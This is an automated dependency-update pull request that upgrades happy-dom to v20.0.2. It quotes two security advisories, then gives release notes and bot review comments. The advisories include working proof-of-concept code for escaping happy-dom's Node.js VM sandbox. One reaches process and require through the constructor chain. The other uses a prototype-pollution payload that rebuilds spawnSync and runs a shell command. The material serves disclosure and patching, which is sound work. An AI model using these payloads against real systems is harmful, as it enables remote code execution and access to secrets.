chore(deps): update dependency happy-dom to v20 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	18.0.1 -> 20.0.2

GitHub Vulnerability Alerts

CVE-2025-61927

Escape of VM Context gives access to process level functionality

Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce

CommonJS (Possible to get hold of require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);

ESM (Not possible to get hold of import or require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);

Potential Impact

Server-Side Rendering (SSR)

const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;

Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios

1. Data Exfiltration: Access to environment variables, configuration files, secrets
2. Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
3. Code Execution: Child process access for running arbitrary commands
4. Persistence: File system access

Recommended Immediate Actions

1. Update Happy DOM to v20 or above
   • This version has JavaScript evaluation disabled by default
   • This version will output a warning if JavaScript is enabled in an insecure environment
2. Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
   • This makes sure that evaluation can't be used at process level to escape the VM
   • eval() and Function() can still be used within the Happy DOM VM without any known security risk
   • Happy DOM v20 and above will output a warning if this flag is not in use
3. If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment

Technical Root Cause

All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

---

Release Notes

capricorn86/happy-dom (happy-dom)

v20.0.2

Compare Source

👷‍♂️ Patch fixes

• Adds frozen intrinsics flag to workers in @happy-dom/server-renderer - By @​capricorn86 in task #​1934

v20.0.1

Compare Source

👷‍♂️ Patch fixes

• Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @​capricorn86 in task #​1932
  • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @​cristianstaicu for reporting this!
  • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

v20.0.0

Compare Source

I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.

💣 Breaking Changes

• Due to security risks, JavaScript evaluation is now disabled by default - By @​capricorn86 in task #​1930
  • A security advisory (GHSA-37j7-fg3j-429f) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to @​Mas0nShi for reporting this!
  • Due to this security risk, JavaScript evaluation is now disabled by default to prevent that consumers accidentally executes untrusted code without taking precautions
  • JavaScript evaluation can be enabled by setting enableJavaScriptEvaluation to "true". Read more about how to enable this in a safer way in the Wiki

v19.0.2

Compare Source

👷‍♂️ Patch fixes

• Fixes issue related to CSS pseudo selector :scope that didn't work correctly for direct descendants to root - By @​capricorn86 in task #​1620

v19.0.1

Compare Source

👷‍♂️ Patch fixes

• Fixes issue with sending in URLs as string in @happy-dom/server-renderer config using CLI - By @​capricorn86 in task #​1908

v19.0.0

Compare Source

💣 Breaking Changes

• Removes support for CommonJS - By @​capricorn86 in task #​1730
  • Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS using require()
• Updates Jest to v30 in the @happy-dom/jest-environment package - By @​capricorn86 in task #​1730
• Makes Jest packages peer dependencies to make it easier to align versions with the project using @happy-dom/jest-environment - By @​capricorn86 in task #​1730

🎨 Features

• Adds a new package called @happy-dom/server-renderer - By @​capricorn86 in task #​1730
  • This package provides a simple way to statically render (SSG) or server-side render (SSR) your client-side application
  • Read more in the Wiki under Server-Renderer
• Adds support for import.meta to the ESM compiler - By @​capricorn86 in task #​1730
• Adds support for the CSS pseudo selector :scope - By @​capricorn86 in task #​1620
• Improves support for MediaList - By @​capricorn86 in task #​1730
• Adds support for CSSKeywordValue, CSSStyleValue, StylePropertyMap, StylePropertyMap, StylePropertyMapReadOnly - By @​capricorn86 in task #​1730
• Improves debug information in the ESM compiler - By @​capricorn86 in task #​1730
• Adds validation of browser settings when creating a new Browser instance - By @​capricorn86 in task #​1730
• Adds support for the browser setting navigation.beforeContentCallback which makes it possible to inject event listeners or logic before content is loaded to the document when navigating a browser frame - By @​capricorn86 in task #​1730
• Adds support for the browser setting fetch.requestHeaders which provides with a declarative and simple way to add request headers - By @​capricorn86 in task #​1730
• Adds support for setting an object to timer.preventTimerLoops which makes it possible to define different settings for setTimeout() and requestAnimationFrame() - By @​capricorn86 in task #​1730
• Adds support for the browser setting viewport which makes it possible to define a default viewport size - By @​capricorn86 in task #​1730
• Adds support for the parameters beforeContentCallback and headers to BrowserFrame.goto(), BrowserFrame.goBack(), BrowserFrame.goForward(), BrowserFrame.goSteps() and BrowserFrame.reload() - By @​capricorn86 in task #​1730
• Adds support for PopStateEvent and trigger the event when navigating the page history using History.pushState() - By @​capricorn86 in task #​1730
• Use local file paths for virtual server files in stack traces - By @​capricorn86 in task #​1730
• Adds support for ResponseCache.fileSystem.load() and ResponseCache.fileSystem.save() for storing and loading cache from the file system - By @​capricorn86 in task #​1730

👷‍♂️ Patch fixes

• Fixes a bug in the ESM compiler that caused it to fail to parse certain code - By @​capricorn86 in task #​1730
• Disables the same origin policy when navigating a browser frame using BrowserFrame.goto() - By @​capricorn86 in task #​1730
• Fixes bug where CSS selectors with the pseudos "+" and ">" failed for selectors without arguments - By @​capricorn86 in task #​1730
• Adds try and catch to listeners for events dispatched from XMLHttpRequest to prevent it from being set to an invalid state if a listener throws an Error - By @​capricorn86 in task #​1730

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[changeset-bot]

⚠️ No Changeset found

Latest commit: 83202ab

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

[coderabbitai]

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

---

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[socket-security]

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	happy-dom@​18.0.1 ⏵ 20.0.2		+75		+1

View full report

[ellipsis-dev]

Important

Looks good to me! 👍

Reviewed everything up to 390d2a7 in 29 seconds. Click for details.

• Reviewed 13 lines of code in 1 files
• Skipped 1 files when reviewing.
• Skipped posting 1 draft comments. View those below.
• Modify your settings and rules to customize what types of comments Ellipsis leaves. And don't forget to react with 👍 or 👎 to teach Ellipsis.

1. packages/unuse/package.json:41

• Draft comment:
  Updating happy-dom from 18.0.1 to 20.0.0 addresses a security vulnerability by disabling JavaScript evaluation by default. Please verify that your testing or any usage (if applicable) doesn’t rely on the old behavior (e.g. CommonJS support) to avoid unexpected issues.
• Reason this comment was not posted:
  Comment did not seem useful. Confidence is useful = 0% <= threshold 50% The comment is informative and asks the PR author to verify their testing or usage, which violates the rules. It also discusses dependency changes, which should not be commented on unless recognized.

Workflow ID: wflow_ZfuCzHrIhm65ow1T

^{You can customize by changing your verbosity settings, reacting with 👍 or 👎, replying to comments, or adding code review rules.}

[github-actions]

Coverage Report

Status	Category	Percentage	Covered / Total
🔴	Lines	83.17% (🎯 90%) 🟰 ±0%	1261 / 1516
🔴	Statements	83.17% (🎯 90%) 🟰 ±0%	1261 / 1516
🔴	Functions	81.55% (🎯 90%) 🟰 ±0%	84 / 103
🟢	Branches	86.56% (🎯 85%) 🟰 ±0%	348 / 402

File Coverage

File	Stmts	Branches	Functions	Lines	Uncovered Lines
Unchanged Files
packages/unuse-angular/src/index.ts	94.2%	100%	83.33%	94.2%	143-146
packages/unuse-react/src/index.ts	69.86%	68.18%	100%	69.86%	49-55, 58-71, 139-143, 152
packages/unuse-reactivity/src/index.ts	100%	100%	100%	100%
packages/unuse-reactivity/src/unComputed/index.ts	96%	93.33%	100%	96%	78-79
packages/unuse-reactivity/src/unEffect/index.ts	100%	100%	100%	100%
packages/unuse-reactivity/src/unEffectScope/index.ts	100%	100%	100%	100%
packages/unuse-reactivity/src/unReactiveSystem/index.ts	87.41%	88.88%	80%	87.41%	38-44, 92-93, 96-97, 100-103, 154-155, 188-189
packages/unuse-reactivity/src/unSignal/index.ts	100%	100%	100%	100%
packages/unuse-reactivity/src/unWatch/index.ts	100%	100%	100%	100%
packages/unuse-solid/src/index.ts	83.09%	86.95%	100%	83.09%	52-59, 69, 141-145
packages/unuse-vue/src/index.ts	100%	100%	100%	100%
packages/unuse/src/index.ts	0%	0%	0%	0%	1-15
packages/unuse/src/_framework/index.ts	81.53%	62.5%	100%	81.53%	48-49, 67-68, 76-77, 85-86, 94-95, 102-103
packages/unuse/src/_testUtils/angular.ts	100%	100%	100%	100%
packages/unuse/src/_testUtils/react.ts	100%	100%	100%	100%
packages/unuse/src/_testUtils/solid.ts	100%	100%	100%	100%
packages/unuse/src/_testUtils/vue.ts	100%	100%	100%	100%
packages/unuse/src/isClient/index.ts	100%	0%	100%	100%
packages/unuse/src/isObject/index.ts	100%	100%	100%	100%
packages/unuse/src/isWorker/index.ts	66.66%	0%	100%	66.66%	5
packages/unuse/src/toArray/index.ts	100%	50%	100%	100%
packages/unuse/src/toUnSignal/index.ts	87.71%	92.85%	100%	87.71%	81-87, 98-99, 113-120, 130
packages/unuse/src/tryOnScopeDispose/index.ts	77.77%	80%	50%	77.77%	11-14, 23-24, 35-36, 40-41
packages/unuse/src/unAccess/index.ts	73%	80%	66.66%	73%	43-44, 48-49, 66-67, 71, 80-81, 84-93, 97-98, 104-105, 114-115, 118-119, 122-123
packages/unuse/src/unRefElement/index.ts	75%	33.33%	100%	75%	29, 36-37
packages/unuse/src/unResolve/index.ts	92.66%	97.22%	71.42%	92.66%	71-72, 93-94, 125-128
packages/unuse/src/useEventListener/index.ts	96.34%	86.66%	100%	96.34%	192-193, 198
packages/unuse/src/useIntervalFn/index.ts	100%	100%	100%	100%
packages/unuse/src/useToggle/index.ts	100%	100%	100%	100%
packages/unuse/src/useWebSocket/index.ts	46.66%	41.66%	33.33%	46.66%	161-163, 203-212, 216-218, 222-224, 233-235, 244-256, 262-263, 270-275, 278-308, 311-312, 315-326, 330-355, 367-368

Generated in workflow #357 for commit 83202ab by the Vitest Coverage Report Action